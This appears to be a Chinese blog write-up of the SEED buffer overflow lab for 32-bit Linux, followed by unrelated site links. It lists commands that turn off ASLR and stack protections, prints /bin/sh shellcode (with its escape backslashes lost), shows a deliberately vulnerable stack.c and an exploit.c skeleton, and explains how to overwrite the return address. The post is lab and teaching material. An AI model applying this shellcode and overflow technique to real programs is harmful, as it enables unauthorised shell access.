SEED缓冲区溢出实验笔记
缓冲区溢出实验(Linux 32位)
参考教程与材料:http://www.cis.syr.edu/~wedu/seed/Labs_12.04/Software/Buffer_Overflow/
(本文记录了做SEED缓冲区溢出实验的体会与问题,侧重实践,而不是讲解缓冲区溢出原理的详细教程)
1. 准备工作
使用SEED ubuntu虚拟机进行缓冲区溢出实验,首先要关闭一些针对此攻击的防御机制来简化实验。
(1)内存地址随机化(Address Space Randomization):基于Linux的操作系统一般使堆和栈的开始地址随机化,使得攻击者猜测确切的地址变得困难。使用如下指令关闭该功能。
$ su root Password: (enter root password) #sysctl -w kernel.randomize_va_space=0
(2)The StackGuard Protection Scheme:GCC编译器实现了一个被称为“Stack Guard”的安全机制来防御缓冲区溢出攻击。所以在编译漏洞程序时加上-fno-stack-protector参数来关闭该机制。
(3)Non-Executable Stack:Ubuntu曾经允许栈执行,但是现在程序必须声明栈是否允许执行。内核和链接器检查程序头的标志来判断是否允许栈被执行。GCC在模式情况下设置栈不可执行,所以需要在编译时加入-z execstack参数来允许栈执行。
2. ShellCode
教程提供了shellcode,是如下代码反汇编得到的机器码,功能就是打开一个shell,通过编译执行call_shellcode.c可以验证shellcode的正确性。使用gdb调试call_shellcode会发现buf的起始地址没有进行字节对其,但是并不影响shellcode的执行,该验证程序是将buf强制转换成了函数指针来执行,用法巧妙。其中shellcode还有一些需要解释的地方,如“//sh”是为了凑足4字节,并且“/”与“//”是一样的;为了给execve传递参数,需要字符串的地址,这里采用了push并传递esp的方法;cdq是一个简短的指令来使edx置零。注意在编译时加入令栈可执行的参数,指令如下所示:gcc -z execstack -o call_shellcode call_shellcode.c
#include <stdio.h>
int main( ) {
char*
name[2];
name[0] = ‘‘/bin/sh’’;
name[1] = NULL;
execve(name[0], name, NULL);
}
/* call_shellcode.c */
/*A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
const char code[] =
"x31xc0" /* xorl %eax,%eax */
"x50" /* pushl %eax */
"x68""//sh" /* pushl $0x68732f2f */
"x68""/bin" /* pushl $0x6e69622f */
"x89xe3" /* movl %esp,%ebx */
"x50" /* pushl %eax */
"x53" /* pushl %ebx */
"x89xe1" /* movl %esp,%ecx */
"x99" /* cdq */
"xb0x0b" /* movb $0x0b,%al */
"xcdx80" /* int $0x80 */
;
int main(int argc, char **argv)
{
char buf[sizeof(code)];
strcpy(buf, code);
((void(*)( ))buf)( );
}
3.漏洞程序stack.c
程序很简单,从文件中读入内容至str,传入仅有24字节大小的buffer时会溢出。编译时记得取消保护机制,加入ggdb为了使用gdb调试方便。gcc –ggdb -o stack -z execstack -fno-stack-protector stack.c
/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[24];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properlyn");
return 1;
}
4.实验内容
GDB的使用参考:
http://blog.csdn.net/liigo/article/details/582231
http://blog.sina.com.cn/s/blog_605f5b4f0101ey1q.html
(1)攻击漏洞程序执行shellcode
使用gdb进入bof()之后,使用i frame可以查看当前程序栈的信息,如下所示。从中可以直接看出ebp和eip的保存位置,其中eip的返回位置即要精心覆盖的返回地址,将其指向我们构造的shellcode即可。
查看栈的内存与变量的位置,图中圈出的就是保存的eip值和变量位置。不过有个疑问没有解决,就是0xbffff010与0xbffff014这8个内存的作用不明。
执行memcpy后,可以看出内存变为如下图所示。
即从0xbfffeff8开始存入了shellcode,开始时考虑采用NSR模式,但是由于漏洞程序的缓冲区很小,刚好可以放下shellcode,所以直接使用了SR模式,其中返回地址R是0xbfffeff8。另外需要注意,拷贝shellcode时不要把字符串结尾的’x00’也复制过去,否则漏洞程序会认为字符串就此截止,而不复制后面的内容。这么做会发现shellcode运行出错。经过仔细查看执行过程时的内存,发现shellcode会压栈一些内容,压入ebx时恰好会把shellcode最后的语句(位置0xbffffffc)覆盖!故考虑使用RNS模式,实验表明使用RNS模式更加简单,容错率也高。
修改exploit.c如下所示,成功!
(2)启动内存地址随机化
首先打开Linux的内存地址随机化功能,sysctl -w kernel.randomize_va_space=2,再次执行stack会段错误。gdb调试时会默认关闭内存地址随机化,需要进入gdb后首先输入set disable-randomization off来开启地址随机化,接下来进行调试。每次运行时会发现栈的地址随机变化,从而使得攻击者无法确定shellcode的地址。
(3)Stack Guard
首先关闭内存地址随机化以防止干扰,然后重新编译stack.c,此时不加入-fno-stack-protector参数即开启了该防护措施(新版本gcc)。再次执行stack会出现错误,从汇编可以看出,该机制是检测ebp-0xc这个位置存放的4字节是否被改变,该位置0xbfffeffc恰好就在局部变量与栈帧之间。再次编译stack程序,发现该检测值会发生改变,可见是随机生成的,难以预测。
(4)栈不可执行
使用gcc -o stack -fno-stack-protector -z noexecstack stack.c编译stack.c,调试运行会发现只要执行栈上的指令,进程会收到系统信号SIGSEGV,段错误。可以使用Return-to-Libc来绕过该防御机制。
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
"x31xc0" /* xorl %eax,%eax */
"x50" /* pushl %eax */
"x68""//sh" /* pushl $0x68732f2f */
"x68""/bin" /* pushl $0x6e69622f */
"x89xe3" /* movl %esp,%ebx */
"x50" /* pushl %eax */
"x53" /* pushl %ebx */
"x89xe1" /* movl %esp,%ecx */
"x99" /* cdq */
"xb0x0b" /* movb $0x0b,%al */
"xcdx80" /* int $0x80 */
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
高级缓冲区溢出技术可以参考:http://drops.wooyun.org/tips/6597
- Codeforces Round #434 (Div. 2, based on Technocup 2018 Elimination Round 1)&&Codeforces 861A k-roun
- 【Java数据结构学习笔记之二】Java数据结构与算法之栈(Stack)实现
- 【Java数据结构学习笔记之三】Java数据结构与算法之队列(Queue)实现
- Comparison of Apache Stream Processing Frameworks: Part 2
- 2017 Multi-University Training Contest - Team 9 1005&&HDU 6165 FFF at Valentine【强联通缩点+拓扑排序】
- 2017 Multi-University Training Contest - Team 9 1004&&HDU 6164 Dying Light【数学+模拟】
- Python3选择排序
- 【DeepMind 公开课-深度强化学习教程代码实战01】迭代法评估4*4方格世界下的随机策略
- Codeforces Round #434 (Div. 2, based on Technocup 2018 Elimination Round 1)&&Codeforces 861C Did yo
- Codeforces Round #434 (Div. 2, based on Technocup 2018 Elimination Round 1)&&Codeforces 861B Which
- 信用卡安全问题:被用户忽视的识别码
- Python3快速排序
- Python3插入排序
- Python3冒泡排序
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- Spring 的 Controller 是单例还是多例?怎么保证并发的安全
- Python游戏开发 制作AI贪吃蛇!
- Python老司机手把手带你写爬虫,整站下载妹子图,一次爽个够!
- 教你用云开发打造一个双端自动发布的博客体系(下)
- 国科大&中科院提出CANet:用于图像复原的拼接注意力网络
- 【Kubernetes】Octant部署
- 使用注意力机制来做医学图像分割的解释和Pytorch实现
- 用Python写个爬虫小程序,给女朋友每日定时推送睡前小故事
- 数据量大的表建立索引或者修改表结构太慢的解决办法
- Activiti7入门Demo
- mybatis 中#与$的区别
- Spring中的FactoryBean和BeanFactory
- MybatisPlus分页插件无效解决方案
- springboot+mybatis打印sql
- jquery插件与扩展